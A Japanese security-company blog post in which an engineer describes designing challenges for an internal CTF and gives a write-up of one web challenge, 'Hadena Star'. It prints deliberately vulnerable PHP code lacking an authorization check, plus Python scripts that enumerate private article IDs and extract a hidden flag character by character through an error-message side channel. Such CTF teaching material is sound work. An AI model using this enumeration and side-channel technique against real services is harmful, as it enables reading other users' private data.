ラック・セキュリティごった煮ブログ

セキュリティエンジニアがエンジニアの方に向けて、 セキュリティやIT技術に関する情報を発信していくアカウントです。

【お知らせ】2021年5月10日~リニューアルオープン!今後はこちらで新しい記事を公開します。

株式会社ラックのセキュリティエンジニアが、 エンジニアの方向けにセキュリティやIT技術に関する情報を発信するブログです。(編集:株式会社ラック・デジタルペンテスト部)
当ウェブサイトをご利用の際には、こちらの「サイトのご利用条件」をご確認ください。

デジタルペンテスト部提供サービス:ペネトレーションテスト

ラックグループ内CTF「LACCON 2022」で作問した話

こんにちは、デジタルペンテスト部のst98です。

私がこのブログでこれまで投稿してきた記事は、いずれもCTFに参加する側の視点から書いたwriteupでした。本記事では、CTFの問題を作る側の視点に立ってお話をしたいと思います。

弊社では、毎年「LACCON」というラックグループ内CTFが開催されています。このCTFにいくつか問題を提供したので、どのように問題を作ったか、具体的にどんな問題を出題したかといったことをご紹介します。


LACCONとは

冒頭でも述べましたが、LACCONはラックグループ内で毎年開催されているCTFです。LACCONのもうちょっと詳しい話については、LAC WATCHで公開されている記事がありますので、そちらをご覧ください。

www.lac.co.jp

私は2021年度と2022年度のLACCONに参加しましたが、たとえば2022年度ではCAN/UDSについてステップバイステップで学べるものがあったり、パズルのように既知の脆弱性を悪用する方法を考える必要のあるものがあったりと、出題される問題はバラエティに富んでいる印象があります。

どんな問題を作ったか

LAC WATCHの記事中にも書かれていますが、LACCONでは「作問者にも参加者にも学びのある場にする」というスローガンが掲げられています。基本的な方針として、学びに重点を置くというLACCONの方向性にもとづいて作問しました。

ただし、これは一般的なCTFで出るようなパズル要素のある問題だったり、難しめの問題だったりといったものを出題しないということを意味するものではないと思っています。たとえ解ききれなかったとしても、たとえばwasmファイルのリバースエンジニアリングはこうすればいいのかとか、このCVE番号の脆弱性はこういう原理だったのかとか、問題に挑戦する中で何かしらを得られればよいかなと思っています。

私は、ただツールを使うだけで解けたり、ググって出てくる攻撃手法をそのまま適用できたりといった問題は、ゲームとして面白くないと感じています。簡単な問題であっても少しひねり、たとえば対象のシステムを理解して、自分でexploitを書く必要があるようにするというような形で、なるべく安直な方法では解けない問題にするよう心がけました*1

また、フラグを得るためには、与えられた情報から非合理な飛躍を必要とするような、いわゆるエスパー要素がないこと、酷似する過去問がないこと*2、Web問やPwn問ではソースコードをできるだけ公開する*3といった点でも気をつけました*4

LACCONでは、作問者かつ参加者として、問題を提供した場合でもCTFに参加できるようになっています。作問者の特権として、自分が作った問題であってもそれを解いて得点できるわけです。そこでアドバンテージを得たいというよこしまな気持ちがなかったというと嘘になりますが、どちらかというと大会の盛り上がりに貢献できればというモチベーションから、13問を作問しLACCON 2022に提供しました。

LACCON 2022に提供した問題には、以下のようなものがありました。

得意分野であるWebの問題ばかり作っていようかなとも思ったのですが、CTF全体で見たときに特定のカテゴリに問題が偏っているのもなんですし、様々なカテゴリで問題を作って知見を広げたいという気持ちもあり、色々作りました。

さて、ここからは、LACCON 2022に提供したうちの1問である「[Web] Hadena Star」についてご紹介します。

[Web 234] Hadena Star (7 solves)

問題の概要

次のような問題文と、ソースコードを参加者に提供していました。

世の中には、記事中の一部の文章に「スター」をあげられるブログサービスがあるそうです。   いいなーと思ったので、あれを実装してみました。機能の名前は「はでなスター」です。   (問題サーバのURL)

もしよろしければ、解法を読む前に以下のリンクからソースコードのダウンロードをして docker compose up -d でサービスを立ち上げ(8004/tcp で問題サーバが立ち上がっています)、この問題に挑戦してみてください。

gitlab.com

問題サーバのURLにアクセスすると、「はでなダイアリー」というサービスが表示されます。

これはシンプルなブログサービスで、ユーザ登録を済ませるとブログ記事の投稿ができるようになっています。記事は全体に公開するか、それとも公開範囲を制限するかを選ぶことができます。もし後者を選択した場合には、投稿者以外が記事を閲覧しようとすると、次のように権限が足りない旨のエラーが表示されます。

「はでなダイアリー」の目玉機能として、「はでなスター」というものがあります。これは、記事の一部分を選択してスターを付与できるという機能です。たとえば、piyo pi というテキストに付与すると、以下のように記事ページ下部に付与したユーザが表示されます。ユーザのアイコンにカーソルをあわせると、そのスターの付与対象であるテキストがハイライトされます。

「はでなスター」の付与時には、以下のように star.php というAPIにPOSTが飛びます。where というキーに選択したテキストが入っているわけですが、HTTPリクエストを書き換えることで記事に含まれていないテキストに「はでなスター」を付与しようとしても、APIに弾かれます。

さて、この問題では何が求められているのでしょうか。ソースコード中でフラグを探すと、init/init.php のデータベースを初期化する処理が見つかります。少し読みづらいですが、ランダムなIDでフラグを内容に持つ記事が存在しているとわかります。

記事がほかのユーザから閲覧できるかどうかのフラグである published0 (投稿者本人にしか閲覧できない)に設定されており、普通には読むことができないことがわかります。

<?php
define('ARTICLE_NUM', 250);
define('FLAG', getenv('FLAG') ?: 'FLAG{dummy}');
assert(preg_match('/^FLAG\{[0-9a-z_-]+\}$/', FLAG), 'flag should be FLAG{[0-9a-z_-]+}');

// (省略)

$stmt = $pdo->prepare('INSERT INTO article(title, body, published, user_id) VALUES (?, ?, ?, ?);');
$flag_id = random_int(1, ARTICLE_NUM - 10);
for ($i = 0; $i < ARTICLE_NUM; $i++) {
    if ($i === $flag_id) {
        $article = ['FLAG', '<p>' . FLAG . '</p>', 0, 1];
    } else {
        $article = ['Lorem ipsum', '<p>' . bin2hex(random_bytes(64)) . '</p>', 1, 1];
    }

    $stmt->execute($article);
}

解法

まず、フラグが含まれている記事のIDを特定する方法を考えます。init/init.php のコードから、IDが250までの記事のいずれかにフラグが含まれていることがわかります。そのうち、投稿者以外が記事を見ることができない設定になっているのは、フラグが書かれている記事のみです。

「はでなダイアリー」の紹介で説明したように、閲覧権限を持っていない記事を閲覧しようとすると、/index.php にリダイレクトされて Unauthorized というエラーが表示されます。この仕様を利用すると、1から250までのIDをブルートフォースし、非公開となっている記事を探すことで、どの記事にフラグが書かれているかを特定できます。たとえば、次のようなPythonスクリプトで、フラグの書かれている記事が特定できます。

import requests
TARGET = 'http://localhost:8004'

for i in range(1, 250):
    r = requests.get(f'{TARGET}/article.php?id={i}')

    if 'index.php' in r.url:
        print(i)
        break

では、その記事の内容はどうすれば読めるでしょうか。実は「はでなスター」の付与処理に脆弱性があります。以下にその処理を抜き出しますが、ここでログインしているユーザがその記事の閲覧権限を持っているかというチェックがされていません。したがって、閲覧できない記事であっても「はでなスター」を付与できてしまうわけです。

「はでなスター」の付与時に、付与対象となるテキストが記事中に存在していなかった場合には Substring not found というエラーが出力される挙動も利用できます。このエラーメッセージが表示されるかどうかによって、あるテキストが記事中に存在しているかどうかという情報が得られるためです。1文字ずつブルートフォースしていけば、フラグが得られそうです。

<?php
// (省略)

if (isset($_POST['id']) && isset($_POST['where'])) {
    $id = $_POST['id'];
    $where = $_POST['where'];

    $stmt = $pdo->prepare("SELECT body FROM article WHERE id = ?");
    $stmt->execute([$id]);
    $result = $stmt->fetchAll();

    if (count($result) === 0) {
        $_SESSION['flash'] = 'Article not found';
        exit;
    }

    if (strpos($result[0]['body'], $where) === false) {
        $_SESSION['flash'] = 'Substring not found';
        exit;
    }

    $stmt = $pdo->prepare('INSERT INTO star(user_id, article_id, text) VALUES (?, ?, ?);');
    $stmt->execute([$_SESSION['userid'], $id, $where]);
    exit;
}

// (省略)

ここまでのまとめとして、

  1. フラグが存在している記事のIDを特定し、
  2. 1文字ずつフラグを得る

という作業を自動化したPythonスクリプトを以下に載せます。

import requests
import string
import uuid
TARGET = 'http://localhost:8004'

for i in range(1, 250 - 5):
    r = requests.get(f'{TARGET}/article.php?id={i}')
    if 'index.php' in r.url:
        break

s = requests.Session()
r = s.post(f'{TARGET}/login.php', data={
    'username': str(uuid.uuid4()),
    'password': str(uuid.uuid4())
})

flag = 'FLAG'
while not flag.endswith('}'):
    for c in string.digits + string.ascii_lowercase + '_-{}':
        s.post(f'{TARGET}/star.php', data={
            'id': i,
            'where': flag + c
        })
        r = s.get(f'{TARGET}/index.php')
        if 'Substring not found' not in r.text:
            flag += c
            print(flag)
            break

これを実行するとフラグが得られます。

$ python3 solve.py
FLAG{
FLAG{t
FLAG{to
(省略)
FLAG{toriaezu_wasshoi_desu_46e2289
FLAG{toriaezu_wasshoi_desu_46e2289d
FLAG{toriaezu_wasshoi_desu_46e2289d}

裏話

Prototype PollutionをRCEにつなげるためにライブラリを調べるとか、SSRFを悪用するためにRedisのプロトコルを調べるとか、そういった調べ物はあまり必要なく、ほぼ与えられたソースコードのみで解ける(ようにしたつもりの)シンプルな問題でした。

このような問題を作った背景として、WebやWebセキュリティに関する深い知識がなくとも*7、サービスの特性を理解して、ソースコードをよく読むと解けるような問題が作りたかったという気持ちがあります。ユーザの権限を念頭において、どんなことができるべきでないかを考えてソースコードを読んでいくと、「star.php はスター付与時に、ユーザに閲覧権限があるかチェックしていない」という怪しい箇所を見つけられると思います。

CTFの問題にできそうなネタを書き溜めているアイデア帳があるのですが、その中にあった「はてなスターっぽい機能でサイドチャネルにフラグを窃取する」というアイデアを実装したのがこの問題でした。そのアイデア自体は、いわゆる捏造スターというテクニックを見て思いつき、メモした記憶があります。リベンジ問を作るためのアイデアもありますが、今後のためにこの場では公開しません。

最終的には、参加した50チーム弱のうち、私が参加していたチームを含む7チームが解いたという結果になりました。もうちょっと解かれるかなと思っていたので、作問者自身による難易度の想定は当てにならないものだなあと再確認しました。私がどれぐらいのチームに解かれるか予想するのが下手なだけだという説もあります。

おわりに

CTFの問題は、解く場合はもちろんのこと、作る場合にも学べることが多いと思っています。この記事をご覧いただいているみなさんも、CTFの作問に挑戦されてみてはいかがでしょうか。そこそこ苦しい作業ではありますが、できあがったときの達成感や、ほかのプレイヤーに解いてもらってwriteupまで書いてもらえたときの喜びは大きいです。

*1:1, 2問は例外的に、ウォーミングアップとして簡単に解けるようなものにしました

*2:といいつつ、思いっきり過去問の解法と被っているものを提出してしまったため、修正を要したということが一度ありました

*3:参加者がローカルで問題サーバの環境を再現できるようにしたい、参加者が確認できない情報をなるべく減らしたいといった意図があります

*4:CTF Design Guidelinessuggestions-for-running-a-ctfというドキュメントに、CTFの作問や運営で気をつけるべきことがよくまとまっています

*5:InterKosenCTFやCakeCTFというCTFで毎年チート問が出題されている(いた)ので、それに影響されての作問でした

*6:オンラインゲームではありません。次回以降では余裕があればスマホゲームやらなんやらを題材にした問題を作りたい気持ちもあります

*7:とはいえ、PHPの読み方やHTTPリクエストの送信を自動化する方法など、色々知識は必要なわけですが